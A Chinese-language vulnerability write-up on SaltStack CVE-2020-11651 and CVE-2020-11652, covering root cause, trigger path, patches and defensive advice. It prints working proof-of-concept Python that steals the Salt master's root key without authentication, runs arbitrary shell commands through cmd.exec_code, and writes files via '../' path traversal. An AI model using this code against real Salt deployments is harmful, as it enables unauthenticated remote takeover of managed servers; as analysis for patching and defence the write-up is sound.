SaltStack CVE-2020-11651/11652 分析
字数 1471 2025-08-25 22:58:40

SaltStack CVE-2020-11651/11652 漏洞分析与利用指南

1. 漏洞概述

SaltStack是一种基于C/S架构的服务器基础架构集中管理平台,2020年披露了两个高危安全漏洞:

  • CVE-2020-11651:权限缺陷漏洞
  • CVE-2020-11652:任意文件读写漏洞

这两个漏洞可以组合使用实现远程命令执行(RCE),Ghost等公司曾因此被入侵并植入挖矿程序。

2. 受影响版本

所有SaltStack版本,官方修复版本为3000.2及以上。

3. CVE-2020-11651 权限缺陷漏洞分析

3.1 漏洞原理

SaltStack master进程的ClearFuncs类没有正确验证方法调用,允许未认证的远程用户访问某些方法。这些方法可以用来从salt master检索用户令牌或在salt minions上运行任意命令。

3.2 漏洞利用流程

  1. 通过未认证的_prep_auth_info方法获取root key
  2. 使用获取的root key执行恶意命令

3.3 POC核心代码

def get_rootkey():
    try:
        response = clear_channel.send({'cmd': '_prep_auth_info'}, timeout=2)
        for i in response:
            if isinstance(i, dict) and len(i) == 1:
                rootkey = list(i.values())[0]
                print("Retrieved root key: " + rootkey)
                return rootkey
        return False
    except:
        return False

获取root key后执行命令:

def master_shell(root_key, command):
    msg = {
        "key": root_key,
        "cmd": "runner",
        'fun': 'salt.cmd',
        "kwarg": {
            "fun": "cmd.exec_code",
            "lang": "python3",
            "code": "import subprocess;subprocess.call('{}',shell=True)".format(command)
        },
        'jid': '20200504042611133934',
        'user': 'sudo_user',
        '_stamp': '2020-05-04T04:26:13.609688'
    }
    try:
        response = clear_channel.send(msg, timeout=3)
        print("Got response for attempting master shell: " + str(response) + ". Looks promising!")
        return True
    except:
        print("something failed")
        return False

3.4 漏洞触发路径

  1. clear_channel = salt.transport.client.ReqChannel.factory(minion_config, crypt='clear')
  2. 实例化为AsyncZeroMQReqChannel,命令未加密
  3. SaltStack master端ReqServer启动server和worker线程
  4. MWorker通过_bind方法绑定端口并接受请求
  5. _handle_payload处理payload,由于encclear,调用_handle_clear
  6. _handle_clear调用_prep_auth_info返回root key

3.5 修复方案

修复代码增加了方法暴露限制:

class TransportMethods(object):
    expose_methods = ()
    
    def get_method(self, name):
        if name in self.expose_methods:
            try:
                return getattr(self, name)
            except AttributeError:
                log.error("Requested method not exposed: %s", name)
        else:
            log.error("Requested method not exposed: %s", name)

4. CVE-2020-11652 任意文件读写漏洞分析

4.1 漏洞原理

SaltStack master进程的ClearFuncs类允许访问一些未正确清理路径的方法,这些方法允许认证用户进行任意目录访问。

4.2 POC示例

def test_clearfuncs_config(self):
    clear_channel = salt.transport.client.ReqChannel.factory(self.minion_config, crypt="clear")
    msg = {
        "key": self.key,
        "cmd": "wheel",
        "fun": "config.update_config",
        "file_name": "../evil",
        "yaml_contents": "win",
    }
    ret = clear_channel.send(msg, timeout=5)
    assert not os.path.exists(os.path.join(self.conf_dir, "evil.conf")), "Wrote file via directory traversal"
    
    msg = {
        'key': root_key,
        'cmd': 'wheel',
        'fun': 'file_roots.write',
        'path': '.tmp/salt_CVE_2020_11652',
        'data': 'evil',
    }
    ret = clear_channel.send(msg, timeout=5)

4.3 缺陷代码

salt/wheel/file_roots.py中的write方法:

def write(data, path, saltenv="base", index=0):
    if os.path.isabs(path):
        return "The path passed in {0} is not relative to the environment {1}".format(path, saltenv)
    dest = os.path.join(__opts__["file_roots"][saltenv][index], path)

仅使用os.path.isabs判断是否为绝对路径,但可通过../绕过。

4.4 修复方案

新增_realpath校验函数:

def _realpath(path):
    if salt.utils.platform.is_darwin():
        return _realpath_darwin(path)
    elif salt.utils.platform.is_windows():
        if salt.ext.six.PY3:
            return _realpath_windows(path)
        else:
            return path
    return os.path.realpath(path)

5. 组合利用实现RCE

  1. 利用CVE-2020-11651获取root key
  2. 使用root key通过CVE-2020-11652写入恶意文件
  3. 或者直接使用root key执行命令

6. 环境搭建问题解决

在Mac上安装SaltStack时可能遇到timelib编译错误:

ext-date-lib/timelib_structs.h:24:10: fatal error: 'timelib_config.h' file not found

解决方案:

  1. 下载timelib: python3 -m pip download timelib
  2. 修改setup.py,添加include_dirs
  3. 手动编译安装

7. 防御建议

  1. 立即升级到SaltStack 3000.2或更高版本
  2. 限制SaltStack master的访问权限
  3. 监控异常的网络连接和文件修改
  4. 定期检查系统是否有可疑进程

8. 参考资源

  • SaltStack官方公告:SALT 3000.2 RELEASE NOTES
  • Ghost安全公告:Critical vulnerability impacting all services
  • 漏洞披露时间:2020年5月
SaltStack CVE-2020-11651/11652 漏洞分析与利用指南 1. 漏洞概述 SaltStack是一种基于C/S架构的服务器基础架构集中管理平台,2020年披露了两个高危安全漏洞: CVE-2020-11651 :权限缺陷漏洞 CVE-2020-11652 :任意文件读写漏洞 这两个漏洞可以组合使用实现远程命令执行(RCE),Ghost等公司曾因此被入侵并植入挖矿程序。 2. 受影响版本 所有SaltStack版本,官方修复版本为3000.2及以上。 3. CVE-2020-11651 权限缺陷漏洞分析 3.1 漏洞原理 SaltStack master进程的ClearFuncs类没有正确验证方法调用,允许未认证的远程用户访问某些方法。这些方法可以用来从salt master检索用户令牌或在salt minions上运行任意命令。 3.2 漏洞利用流程 通过未认证的 _prep_auth_info 方法获取root key 使用获取的root key执行恶意命令 3.3 POC核心代码 获取root key后执行命令: 3.4 漏洞触发路径 clear_channel = salt.transport.client.ReqChannel.factory(minion_config, crypt='clear') 实例化为 AsyncZeroMQReqChannel ,命令未加密 SaltStack master端 ReqServer 启动server和worker线程 MWorker 通过 _bind 方法绑定端口并接受请求 _handle_payload 处理payload,由于 enc 为 clear ,调用 _handle_clear _handle_clear 调用 _prep_auth_info 返回root key 3.5 修复方案 修复代码增加了方法暴露限制: 4. CVE-2020-11652 任意文件读写漏洞分析 4.1 漏洞原理 SaltStack master进程的ClearFuncs类允许访问一些未正确清理路径的方法,这些方法允许认证用户进行任意目录访问。 4.2 POC示例 4.3 缺陷代码 salt/wheel/file_roots.py 中的 write 方法: 仅使用 os.path.isabs 判断是否为绝对路径,但可通过 ../ 绕过。 4.4 修复方案 新增 _realpath 校验函数: 5. 组合利用实现RCE 利用CVE-2020-11651获取root key 使用root key通过CVE-2020-11652写入恶意文件 或者直接使用root key执行命令 6. 环境搭建问题解决 在Mac上安装SaltStack时可能遇到timelib编译错误: 解决方案: 下载timelib: python3 -m pip download timelib 修改setup.py,添加include_ dirs 手动编译安装 7. 防御建议 立即升级到SaltStack 3000.2或更高版本 限制SaltStack master的访问权限 监控异常的网络连接和文件修改 定期检查系统是否有可疑进程 8. 参考资源 SaltStack官方公告:SALT 3000.2 RELEASE NOTES Ghost安全公告:Critical vulnerability impacting all services 漏洞披露时间:2020年5月